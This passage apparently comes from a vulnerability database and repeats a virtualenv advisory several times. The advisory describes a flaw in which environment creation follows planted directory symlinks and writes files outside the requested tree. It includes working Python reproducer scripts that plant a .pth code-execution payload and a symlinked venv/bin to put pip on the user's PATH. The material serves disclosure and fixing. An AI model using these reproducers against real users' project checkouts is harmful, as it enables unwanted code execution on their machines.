    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "sickchill",
            "purl": "pkg:brew/sickchill"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.10.8"
                },
                {
                  "fixed": "2026.10.8_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-sickchill-CVE-2026-113716",
      "modified": "2026-11-19T09:34:56Z",
      "published": "2026-10-22T08:58:53Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-TOX-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:02 – Updated: 2026-11-19 09:50 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.8",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "tox",
            "purl": "pkg:brew/tox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.0.0"
                },
                {
                  "fixed": "4.67.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.8",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.8"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" 